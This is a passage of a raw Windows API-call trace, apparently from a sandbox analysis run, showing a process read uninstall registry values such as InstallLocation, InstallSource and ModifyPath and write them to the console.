0x3c0000 [0150.083] GetProcessHeap () returned 0x3c0000 [0150.083] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.083] GetProcessHeap () returned 0x3c0000 [0150.083] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.083] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0150.083] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.083] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.083] GetProcessHeap () returned 0x3c0000 [0150.083] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.083] GetProcessHeap () returned 0x3c0000 [0150.083] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.083] GetProcessHeap () returned 0x3c0000 [0150.083] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.083] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.083] __iob_func () returned 0x7fefd702a80 [0150.083] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.083] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.083] _fileno (_File=0x7fefd702ab0) returned 1 [0150.083] _errno () returned 0x204bb0 [0150.083] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.083] _errno () returned 0x204bb0 [0150.083] GetFileType (hFile=0x50) returned 0x1 [0150.083] lstrlenW (lpString=" ") returned 4 [0150.083] GetConsoleOutputCP () returned 0x1b5 [0150.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.083] GetConsoleOutputCP () returned 0x1b5 [0150.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.084] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.084] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.084] lstrlenW (lpString="InstallLocation") returned 15 [0150.084] __iob_func () returned 0x7fefd702a80 [0150.084] _fileno (_File=0x7fefd702ab0) returned 1 [0150.084] _errno () returned 0x204bb0 [0150.084] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.084] _errno () returned 0x204bb0 [0150.084] GetFileType (hFile=0x50) returned 0x1 [0150.084] lstrlenW (lpString="InstallLocation") returned 15 [0150.084] GetConsoleOutputCP () returned 0x1b5 [0150.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.084] GetConsoleOutputCP () returned 0x1b5 [0150.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0150.084] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.084] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.084] __iob_func () returned 0x7fefd702a80 [0150.084] _fileno (_File=0x7fefd702ab0) returned 1 [0150.084] _errno () returned 0x204bb0 [0150.084] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.084] _errno () returned 0x204bb0 [0150.084] GetFileType (hFile=0x50) returned 0x1 [0150.084] lstrlenW (lpString=" ") returned 4 [0150.084] GetConsoleOutputCP () returned 0x1b5 [0150.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.085] GetConsoleOutputCP () returned 0x1b5 [0150.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.085] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.085] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.085] __iob_func () returned 0x7fefd702a80 [0150.085] _fileno (_File=0x7fefd702ab0) returned 1 [0150.085] _errno () returned 0x204bb0 [0150.085] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.085] _errno () returned 0x204bb0 [0150.085] GetFileType (hFile=0x50) returned 0x1 [0150.085] lstrlenW (lpString="REG_SZ") returned 6 [0150.085] GetConsoleOutputCP () returned 0x1b5 [0150.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.085] GetConsoleOutputCP () returned 0x1b5 [0150.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.085] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.085] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.086] __iob_func () returned 0x7fefd702a80 [0150.086] _fileno (_File=0x7fefd702ab0) returned 1 [0150.086] _errno () returned 0x204bb0 [0150.086] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.086] _errno () returned 0x204bb0 [0150.086] GetFileType (hFile=0x50) returned 0x1 [0150.086] lstrlenW (lpString=" ") returned 4 [0150.086] GetConsoleOutputCP () returned 0x1b5 [0150.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.086] GetConsoleOutputCP () returned 0x1b5 [0150.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.086] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.086] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.086] __iob_func () returned 0x7fefd702a80 [0150.086] _fileno (_File=0x7fefd702ab0) returned 1 [0150.086] _errno () returned 0x204bb0 [0150.086] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.086] _errno () returned 0x204bb0 [0150.086] GetFileType (hFile=0x50) returned 0x1 [0150.086] lstrlenW (lpString="") returned 0 [0150.086] __iob_func () returned 0x7fefd702a80 [0150.086] _fileno (_File=0x7fefd702ab0) returned 1 [0150.086] _errno () returned 0x204bb0 [0150.086] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.086] _errno () returned 0x204bb0 [0150.086] GetFileType (hFile=0x50) returned 0x1 [0150.086] lstrlenW (lpString="\n") returned 1 [0150.086] GetConsoleOutputCP () returned 0x1b5 [0150.087] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.087] GetConsoleOutputCP () returned 0x1b5 [0150.087] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.087] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.087] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.087] GetProcessHeap () returned 0x3c0000 [0150.087] GetProcessHeap () returned 0x3c0000 [0150.087] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.087] GetProcessHeap () returned 0x3c0000 [0150.087] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.087] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.087] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.087] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x64) returned 0x0 [0150.087] GetProcessHeap () returned 0x3c0000 [0150.087] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x66) returned 0x3db830 [0150.087] GetProcessHeap () returned 0x3c0000 [0150.088] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.088] GetProcessHeap () returned 0x3c0000 [0150.088] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x66 [0150.088] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x64 | out: pdwType=0x29f700*=0x1, pvData="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\", pcbData=0x29f780*=0x62) returned 0x0 [0150.088] __iob_func () returned 0x7fefd702a80 [0150.088] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.088] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.088] _fileno (_File=0x7fefd702ab0) returned 1 [0150.088] _errno () returned 0x204bb0 [0150.088] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.088] _errno () returned 0x204bb0 [0150.088] GetFileType (hFile=0x50) returned 0x1 [0150.088] lstrlenW (lpString=" ") returned 4 [0150.088] GetConsoleOutputCP () returned 0x1b5 [0150.088] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.088] GetConsoleOutputCP () returned 0x1b5 [0150.088] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.088] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.088] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.088] lstrlenW (lpString="InstallSource") returned 13 [0150.088] __iob_func () returned 0x7fefd702a80 [0150.088] _fileno (_File=0x7fefd702ab0) returned 1 [0150.088] _errno () returned 0x204bb0 [0150.088] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.088] _errno () returned 0x204bb0 [0150.088] GetFileType (hFile=0x50) returned 0x1 [0150.088] lstrlenW (lpString="InstallSource") returned 13 [0150.089] GetConsoleOutputCP () returned 0x1b5 [0150.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.089] GetConsoleOutputCP () returned 0x1b5 [0150.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0150.089] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.089] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.089] __iob_func () returned 0x7fefd702a80 [0150.089] _fileno (_File=0x7fefd702ab0) returned 1 [0150.089] _errno () returned 0x204bb0 [0150.089] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.089] _errno () returned 0x204bb0 [0150.089] GetFileType (hFile=0x50) returned 0x1 [0150.089] lstrlenW (lpString=" ") returned 4 [0150.089] GetConsoleOutputCP () returned 0x1b5 [0150.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.089] GetConsoleOutputCP () returned 0x1b5 [0150.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.089] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.089] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.090] __iob_func () returned 0x7fefd702a80 [0150.090] _fileno (_File=0x7fefd702ab0) returned 1 [0150.090] _errno () returned 0x204bb0 [0150.090] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.090] _errno () returned 0x204bb0 [0150.090] GetFileType (hFile=0x50) returned 0x1 [0150.090] lstrlenW (lpString="REG_SZ") returned 6 [0150.090] GetConsoleOutputCP () returned 0x1b5 [0150.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.090] GetConsoleOutputCP () returned 0x1b5 [0150.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.090] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.090] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.090] __iob_func () returned 0x7fefd702a80 [0150.090] _fileno (_File=0x7fefd702ab0) returned 1 [0150.090] _errno () returned 0x204bb0 [0150.090] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.090] _errno () returned 0x204bb0 [0150.090] GetFileType (hFile=0x50) returned 0x1 [0150.090] lstrlenW (lpString=" ") returned 4 [0150.090] GetConsoleOutputCP () returned 0x1b5 [0150.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.091] GetConsoleOutputCP () returned 0x1b5 [0150.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.091] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.091] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.091] __iob_func () returned 0x7fefd702a80 [0150.091] _fileno (_File=0x7fefd702ab0) returned 1 [0150.091] _errno () returned 0x204bb0 [0150.091] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.091] _errno () returned 0x204bb0 [0150.091] GetFileType (hFile=0x50) returned 0x1 [0150.091] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\") returned 48 [0150.091] GetConsoleOutputCP () returned 0x1b5 [0150.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0150.091] GetConsoleOutputCP () returned 0x1b5 [0150.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\", cchWideChar=48, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\", lpUsedDefaultChar=0x0) returned 48 [0150.091] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 48 [0150.091] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.091] __iob_func () returned 0x7fefd702a80 [0150.091] _fileno (_File=0x7fefd702ab0) returned 1 [0150.091] _errno () returned 0x204bb0 [0150.091] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.091] _errno () returned 0x204bb0 [0150.091] GetFileType (hFile=0x50) returned 0x1 [0150.092] lstrlenW (lpString="\n") returned 1 [0150.092] GetConsoleOutputCP () returned 0x1b5 [0150.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.092] GetConsoleOutputCP () returned 0x1b5 [0150.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.092] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.092] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.092] GetProcessHeap () returned 0x3c0000 [0150.092] GetProcessHeap () returned 0x3c0000 [0150.092] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.092] GetProcessHeap () returned 0x3c0000 [0150.092] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x66 [0150.092] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.092] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.092] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.092] GetProcessHeap () returned 0x3c0000 [0150.092] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.092] GetProcessHeap () returned 0x3c0000 [0150.092] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.092] GetProcessHeap () returned 0x3c0000 [0150.092] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.092] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.092] __iob_func () returned 0x7fefd702a80 [0150.092] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.093] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.093] _fileno (_File=0x7fefd702ab0) returned 1 [0150.093] _errno () returned 0x204bb0 [0150.093] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.093] _errno () returned 0x204bb0 [0150.093] GetFileType (hFile=0x50) returned 0x1 [0150.093] lstrlenW (lpString=" ") returned 4 [0150.093] GetConsoleOutputCP () returned 0x1b5 [0150.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.093] GetConsoleOutputCP () returned 0x1b5 [0150.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.093] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.093] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.093] lstrlenW (lpString="ModifyPath") returned 10 [0150.093] __iob_func () returned 0x7fefd702a80 [0150.093] _fileno (_File=0x7fefd702ab0) returned 1 [0150.093] _errno () returned 0x204bb0 [0150.093] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.093] _errno () returned 0x204bb0 [0150.093] GetFileType (hFile=0x50) returned 0x1 [0150.093] lstrlenW (lpString="ModifyPath") returned 10 [0150.093] GetConsoleOutputCP () returned 0x1b5 [0150.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.094] GetConsoleOutputCP () returned 0x1b5 [0150.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0150.094] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.094] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.094] __iob_func () returned 0x7fefd702a80 [0150.094] _fileno (_File=0x7fefd702ab0) returned 1 [0150.094] _errno () returned 0x204bb0 [0150.094] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.094] _errno () returned 0x204bb0 [0150.094] GetFileType (hFile=0x50) returned 0x1 [0150.094] lstrlenW (lpString=" ") returned 4 [0150.094] GetConsoleOutputCP () returned 0x1b5 [0150.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.094] GetConsoleOutputCP () returned 0x1b5 [0150.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.094] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.094] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.094] __iob_func () returned 0x7fefd702a80 [0150.094] _fileno (_File=0x7fefd702ab0) returned 1 [0150.094] _errno () returned 0x204bb0 [0150.094] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.094] _errno () returned 0x204bb0 [0150.094] GetFileType (hFile=0x50) returned 0x1 [0150.095] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.095] GetConsoleOutputCP () returned 0x1b5 [0150.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.095] GetConsoleOutputCP () returned 0x1b5 [0150.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.095] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.095] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.095] __iob_func () returned 0x7fefd702a80 [0150.095] _fileno (_File=0x7fefd702ab0) returned 1 [0150.095] _errno () returned 0x204bb0 [0150.095] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.095] _errno () returned 0x204bb0 [0150.096] GetFileType (hFile=0x50) returned 0x1 [0150.096] lstrlenW (lpString=" ") returned 4 [0150.096] GetConsoleOutputCP () returned 0x1b5 [0150.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", 